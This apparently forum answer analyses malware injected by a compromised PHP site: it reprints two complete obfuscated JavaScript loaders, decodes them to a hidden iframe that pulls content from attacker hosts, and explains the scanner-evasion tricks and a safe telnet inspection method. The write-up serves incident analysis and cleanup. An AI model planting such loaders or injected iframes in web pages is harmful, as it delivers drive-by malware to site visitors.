To bad you didn't give us the full javascript that php injected (please add it to your question if you still have it, so we can decode it). But thank you so much for sharing the php behind it!!!
Removing the php script is indeed the solution, but you should find out how you got 'hacked'/'infected' in the first place!!
- Maybe a weak password or rather new vulnerability?
- Also, all the computers of developers/maintainers/contributers that have (had) (ftp/admin/cms) access to your website, must be checked for password-stealing/sniffing malware (as a result of visiting your/another infected website).
- Installed a rouge plugin/module on your website/server?
- It is also possible that the whole server (and all websites on it) is comprimized. It might be wise to contact your hoster to.
Note that such malware is often picked up by google: they'll add a warning to such a hacked website's index: 'This site may harm your computer.'
Getting this notion removed requires a 'Request a malware-review' with google webmaster-tools (I don't know if google will automatically rescan your page in x amount of time if you don't report your page as fixed, neither do I know if you can report your page as fixed without google-webmaster tools, so be warned if you don't want to give your cellphone-number to google!!!).
If one base64 decodes the string aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw
from your php-code, one gets the url: http://mbrowserstats.com/statE/stat.php
Your infected php-website used the above url with the GET
-string
?ip=YOUR_IP&useragent=YOUR_BROWSER&domainname=INFECTED_WEBSITE_DOMAIN&fullpath=INFECTED_WEBSITE_PAGE&check='.isset($_GET['look'])
to fetch a custom unique on-demand javascript to insert in the markup served to the (targeted!!) visitor.
To decode the payload of that inserted visitor-unique javascript, I quickly whipped up a decoder (that also works for your partial payload, using the character _
as separator and an offset of -7 on those base 16 numbers).
The (partial) string: 10_10_70_6d_27_2f_6b_76_6a_7c_74_6c_75_7b_35_6e_6c_7b_4c_73_6c_74_6c_75_7b_7a_49_80_5b_68_6e_55_68_74_6c_2f_2e_69_76_6b_80_2e_30_62_37_64_30_82_14_10_10
decodes to:
if (document.getElementsByTagName('body')[0]){
I want to share my analysis of the variant I got, to explain how it works (hoping it will help others):
The website I visited (in palemoon=firefox) suddenly started java and a cmd-box popped up.
Cr@p.
'View source' of the document, revealed an obfuscated script that was 'served' (inserted) before the html
tag (with a leading space):
<script>w=window;aq="0"+"x";ff=String;ff=ff.fromCharCode;try{document["\x62ody"]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(q){vzs=1;}if(!vzs)e=w["eval"];if(1){f="0,0,60,5d,17,1f,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,6a,39,70,4b,58,5e,45,58,64,5c,1f,1e,59,66,5b,70,1e,20,52,27,54,20,72,4,0,0,0,60,5d,69,58,64,5c,69,1f,20,32,4,0,0,74,17,5c,63,6a,5c,17,72,4,0,0,0,5b,66,5a,6c,64,5c,65,6b,25,6e,69,60,6b,5c,1f,19,33,60,5d,69,58,64,5c,17,6a,69,5a,34,1e,5f,6b,6b,67,31,26,26,69,66,6b,58,6b,5c,6b,5f,5c,6a,67,60,65,25,5a,66,64,31,2f,27,27,27,26,63,5f,5f,68,65,5a,5a,68,6a,36,5d,6b,59,5f,62,67,64,5a,66,69,6b,34,2c,28,2f,2d,2e,2c,28,1e,17,6e,60,5b,6b,5f,34,1e,28,27,27,1e,17,5f,5c,60,5e,5f,6b,34,1e,28,27,27,1e,17,6a,6b,70,63,5c,34,1e,6e,60,5b,6b,5f,31,28,27,27,67,6f,32,5f,5c,60,5e,5f,6b,31,28,27,27,67,6f,32,67,66,6a,60,6b,60,66,65,31,58,59,6a,66,63,6c,6b,5c,32,63,5c,5d,6b,31,24,28,27,27,27,27,67,6f,32,6b,66,67,31,27,32,1e,35,33,26,60,5d,69,58,64,5c,35,19,20,32,4,0,0,74,4,0,0,5d,6c,65,5a,6b,60,66,65,17,60,5d,69,58,64,5c,69,1f,20,72,4,0,0,0,6d,58,69,17,5d,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,5d,25,6a,5c,6b,38,6b,6b,69,60,59,6c,6b,5c,1f,1e,6a,69,5a,1e,23,1e,5f,6b,6b,67,31,26,26,69,66,6b,58,6b,5c,6b,5f,5c,6a,67,60,65,25,5a,66,64,31,2f,27,27,27,26,63,5f,5f,68,65,5a,5a,68,6a,36,5d,6b,59,5f,62,67,64,5a,66,69,6b,34,2c,28,2f,2d,2e,2c,28,1e,20,32,5d,25,6a,6b,70,63,5c,25,63,5c,5d,6b,34,1e,24,28,27,27,27,27,67,6f,1e,32,5d,25,6a,6b,70,63,5c,25,6b,66,67,34,1e,27,1e,32,5d,25,6a,6b,70,63,5c,25,67,66,6a,60,6b,60,66,65,34,1e,58,59,6a,66,63,6c,6b,5c,1e,32,5d,25,6a,6b,70,63,5c,25,6b,66,67,34,1e,27,1e,32,5d,25,6a,5c,6b,38,6b,6b,69,60,59,6c,6b,5c,1f,1e,6e,60,5b,6b,5f,1e,23,1e,28,27,27,1e,20,32,5d,25,6a,5c,6b,38,6b,6b,69,60,59,6c,6b,5c,1f,1e,5f,5c,60,5e,5f,6b,1e,23,1e,28,27,27,1e,20,32,4,0,0,0,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,6a,39,70,4b,58,5e,45,58,64,5c,1f,1e,59,66,5b,70,1e,20,52,27,54,25,58,67,67,5c,65,5b,3a,5f,60,63,5b,1f,5d,20,32,4,0,0,74"["split"](",");}w=f;s=[];for(i=2-2;-i+640!=0;i+=1){j=i;if((031==0x19))if(e)s=s+ff(e(aq+(w[j]))+9);}fafa=e;fafa(s)}</script>
<html>
<head>
<title> etcetera...
Running it through jsbeautifier.org cleaned that up (before I added my human parsing comments) to:
w = window; //hmmkay, note:reused lateron
aq = "0" + "x"; //so.. '0x', smells like hex
ff = String; //haha, neat, ff is String
ff = ff.fromCharCode; //and ff is now String's fromCharCode method
try {
document["\x62ody"] ^= ~1; //I'm guessing this should fail
} catch (d21vd12v) { //so all the rest gets executed:
v = 123; //bliep? 42? Here be dragons.. aka useless
vzs = false; //ahh, can you guess where this leads?
try { //no idea why this test is here
document;
} catch (q) { //but for an infection this should NOT run
vzs = 1;
}
if (!vzs) e = w["eval"]; //false will become true so e = EVIL
if (1) { //lol, if true, ok...
//ahh, f the payload, an array (by split) of
//640 hex-numbers
f = "0,0,60,5d,17,1f,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,6a,39,70,4b,58,5e,45,58,64,5c,1f,1e,59,66,5b,70,1e,20,52,27,54,20,72,4,0,0,0,60,5d,69,58,64,5c,69,1f,20,32,4,0,0,74,17,5c,63,6a,5c,17,72,4,0,0,0,5b,66,5a,6c,64,5c,65,6b,25,6e,69,60,6b,5c,1f,19,33,60,5d,69,58,64,5c,17,6a,69,5a,34,1e,5f,6b,6b,67,31,26,26,69,66,6b,58,6b,5c,6b,5f,5c,6a,67,60,65,25,5a,66,64,31,2f,27,27,27,26,63,5f,5f,68,65,5a,5a,68,6a,36,5d,6b,59,5f,62,67,64,5a,66,69,6b,34,2c,28,2f,2d,2e,2c,28,1e,17,6e,60,5b,6b,5f,34,1e,28,27,27,1e,17,5f,5c,60,5e,5f,6b,34,1e,28,27,27,1e,17,6a,6b,70,63,5c,34,1e,6e,60,5b,6b,5f,31,28,27,27,67,6f,32,5f,5c,60,5e,5f,6b,31,28,27,27,67,6f,32,67,66,6a,60,6b,60,66,65,31,58,59,6a,66,63,6c,6b,5c,32,63,5c,5d,6b,31,24,28,27,27,27,27,67,6f,32,6b,66,67,31,27,32,1e,35,33,26,60,5d,69,58,64,5c,35,19,20,32,4,0,0,74,4,0,0,5d,6c,65,5a,6b,60,66,65,17,60,5d,69,58,64,5c,69,1f,20,72,4,0,0,0,6d,58,69,17,5d,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,5d,25,6a,5c,6b,38,6b,6b,69,60,59,6c,6b,5c,1f,1e,6a,69,5a,1e,23,1e,5f,6b,6b,67,31,26,26,69,66,6b,58,6b,5c,6b,5f,5c,6a,67,60,65,25,5a,66,64,31,2f,27,27,27,26,63,5f,5f,68,65,5a,5a,68,6a,36,5d,6b,59,5f,62,67,64,5a,66,69,6b,34,2c,28,2f,2d,2e,2c,28,1e,20,32,5d,25,6a,6b,70,63,5c,25,63,5c,5d,6b,34,1e,24,28,27,27,27,27,67,6f,1e,32,5d,25,6a,6b,70,63,5c,25,6b,66,67,34,1e,27,1e,32,5d,25,6a,6b,70,63,5c,25,67,66,6a,60,6b,60,66,65,34,1e,58,59,6a,66,63,6c,6b,5c,1e,32,5d,25,6a,6b,70,63,5c,25,6b,66,67,34,1e,27,1e,32,5d,25,6a,5c,6b,38,6b,6b,69,60,59,6c,6b,5c,1f,1e,6e,60,5b,6b,5f,1e,23,1e,28,27,27,1e,20,32,5d,25,6a,5c,6b,38,6b,6b,69,60,59,6c,6b,5c,1f,1e,5f,5c,60,5e,5f,6b,1e,23,1e,28,27,27,1e,20,32,4,0,0,0,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,6a,39,70,4b,58,5e,45,58,64,5c,1f,1e,59,66,5b,70,1e,20,52,27,54,25,58,67,67,5c,65,5b,3a,5f,60,63,5b,1f,5d,20,32,4,0,0,74" ["split"](",");
}
w = f; //ahh juggling w to f
s = []; //preparing s to receive the decoded string
for (i = 2 - 2; - i + 640 != 0; i += 1) { //haha, ok: ( 2-2=0; lol; i++ )
j = i; //juggle artist at it again
if ((031 == 0x19)) if (e) s = s + ff(e(aq + (w[j])) + 9); //9 offset
} // 31oct = 19hex = 25 = true, if eval, LOOK MA, WITHOUT parseInt being EVIL
fafa = e; //ok stop juggling. fafa = EVIL
fafa(s) //there we go: EVIL(decoded string)
}
As one can now read, they jump through a lot of hoops to fool virus-scanners.
I re-factored this (for my understanding) to:
w = "/*PAYLOAD: comma separated uni-code characters in hex*/" ["split"](",");
s = '';
for (i = 0; i < 640; i++) {
s += String.fromCharCode( parseInt(w[i],16) + 9 ); //decode
}
eval(s) //execute
Using my decoder (set to base 16
, separation character ,
and offset 9
) the payload decoded to:
if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("<iframe src='http://rotatethespin.com:8000/lhhqnccqs?ftbhkpmcort=5186751' width='100' height='100' style='width:100px;height:100px;position:absolute;left:-10000px;top:0;'></iframe>");
}
function iframer(){
var f = document.createElement('iframe');f.setAttribute('src','http://rotatethespin.com:8000/lhhqnccqs?ftbhkpmcort=5186751');f.style.left='-10000px';f.style.top='0';f.style.position='absolute';f.style.top='0';f.setAttribute('width','100');f.setAttribute('height','100');
document.getElementsByTagName('body')[0].appendChild(f);
}
Note that this resulting code is indented with 2 and 3 tabs (amateur or fooling virusscan?) that I removed for readability. Also the line-endings are CR (13dec) (is the author/script-kiddie using an older MAC?).
So, now we have all the code we can (finally) simply explain what is happening:
- the PHP script
curl
's a visitor/website unique javascript to inject in served markup
- this (by PHP) injected javascript will inject an
iframe
in the document's body
(gallantly aided by the browser since body doesn't exist yet), positioned -10000px
from the left (out of sight) in the visited page (on the visitors browser) and
- the injected
iframe
loads a specifically targeted (at user and website the user is visiting) external page (containing god knows what kind of mess/malware/virus/rootkit, in my case from rotatethespin.com:8000
, muruno-vaser.info:8000
, epomota.com
etc.).
I also verified this by getting the document's live html with this bookmarklet:
javascript:(function(){ alert(document.documentElement.innerHTML); })()
This also showed the injected iframe code in the source.
I used the next bookmarklet to move the iframe into view (assuming there is just 1 iframe):
javascript:(function(){ document.getElementsByTagName('iframe')[0].style.left='0px'; })()
Naturally one could also use firebug and similar tools (depending on browser).
I also noticed that when using most webbased tools (or even w3c validator) to fetch the source of the infected website, php did not insert the javascript, making the website look not infected!
I also had this 'problem' when trying a simple telnet-command to (safely) get the infected code. However after seeing the php code behind it, I realized I used to few HTTP commands (specifically the referrer).
Doing: telnet infected-site.com 80
and then pasting the following finally gave the infected markup source:
GET /path.php?page=something HTTP/1.1
Host: infected-site.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: nl,en-us;q=0.7,en;q=0.3
Referer: http://infected-site.com/index.php
Connection: Close
Note that this way one can also safely explore (and reverse-engineer) the source of the iframe etc!!
I also noticed that the website-owner's computer also did not get the infected code! This is either because his machine is infected or because the the server that distributes the javascripts did not provide a script because it knew that client-machine was already infected.
Update: having a working set of tools in this answer, I re-checked the comprised website today (after a good night rest) and got totally different script injected (but still based on the same techniques I explained in this answer).
<script>ss=eval("Str"+"ing");d=document;a=("15,15,155,152,44,54,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,167,106,175,130,145,153,122,145,161,151,54,53,146,163,150,175,53,55,137,64,141,55,177,21,15,15,15,155,152,166,145,161,151,166,54,55,77,21,15,15,201,44,151,160,167,151,44,177,21,15,15,15,150,163,147,171,161,151,162,170,62,173,166,155,170,151,54,46,100,155,152,166,145,161,151,44,167,166,147,101,53,154,170,170,164,76,63,63,151,164,163,161,163,170,145,62,147,163,161,63,160,154,170,173,175,175,164,154,154,103,152,151,146,165,175,147,160,147,101,71,65,74,72,73,71,65,53,44,173,155,150,170,154,101,53,65,64,64,53,44,154,151,155,153,154,170,101,53,65,64,64,53,44,167,170,175,160,151,101,53,173,155,150,170,154,76,65,64,64,164,174,77,154,151,155,153,154,170,76,65,64,64,164,174,77,164,163,167,155,170,155,163,162,76,145,146,167,163,160,171,170,151,77,160,151,152,170,76,61,65,64,64,64,64,164,174,77,170,163,164,76,64,77,53,102,100,63,155,152,166,145,161,151,102,46,55,77,21,15,15,201,21,15,15,152,171,162,147,170,155,163,162,44,155,152,166,145,161,151,166,54,55,177,21,15,15,15,172,145,166,44,152,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,152,62,167,151,170,105,170,170,166,155,146,171,170,151,54,53,167,166,147,53,60,53,154,170,170,164,76,63,63,151,164,163,161,163,170,145,62,147,163,161,63,160,154,170,173,175,175,164,154,154,103,152,151,146,165,175,147,160,147,101,71,65,74,72,73,71,65,53,55,77,152,62,167,170,175,160,151,62,160,151,152,170,101,53,61,65,64,64,64,64,164,174,53,77,152,62,167,170,175,160,151,62,170,163,164,101,53,64,53,77,152,62,167,170,175,160,151,62,164,163,167,155,170,155,163,162,101,53,145,146,167,163,160,171,170,151,53,77,152,62,167,170,175,160,151,62,170,163,164,101,53,64,53,77,152,62,167,151,170,105,170,170,166,155,146,171,170,151,54,53,173,155,150,170,154,53,60,53,65,64,64,53,55,77,152,62,167,151,170,105,170,170,166,155,146,171,170,151,54,53,154,151,155,153,154,170,53,60,53,65,64,64,53,55,77,21,15,15,15,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,167,106,175,130,145,153,122,145,161,151,54,53,146,163,150,175,53,55,137,64,141,62,145,164,164,151,162,150,107,154,155,160,150,54,152,55,77,21,15,15,201"["split"](","));for(i=0;i<a.length;i+=1){a[i]=parseInt(a[i],8)-(7-3);}try{d.body--}catch(q){zz=0;}try{zz&=2}catch(q){zz=1;}if(!zz)if(window["document"])eval(ss["fromCharCode"].apply(ss,a));</script>
Note that this time the numbers are in octal (base 8) (separated by ,
with an offset of -4
).
So I updated my decoder to include a base/radix setting (and all the depending links in this answer) and as one can see the payload is still the same (apart from the domain it points to).
I found this question by googling document\["\x62ody"\] ^= ~1
which gave (mostly useless/infected) 834 results.
The malware I stumbled upon today had the above string and the pretty unique string 'd21vd12v'
inside it, which gives 8300 (also mostly useless/infected) results.
However googling '// This code use for global bot statistic' (found in the php you supplied in your question) rendered over 4.1 million results (dating back to at least 2010), indicating that also wordpress, joomla, etc are victim of this 'technique'.
Reading some of those links (like this, this or this) I get the impression this started out as a way to fool search-engines (like google) in order to increase page-ranking. This at the price of creating a self-inflicted malware-hole.
Naturally the variants that specialize in distributing malware now try to hide themselves from the search-engines.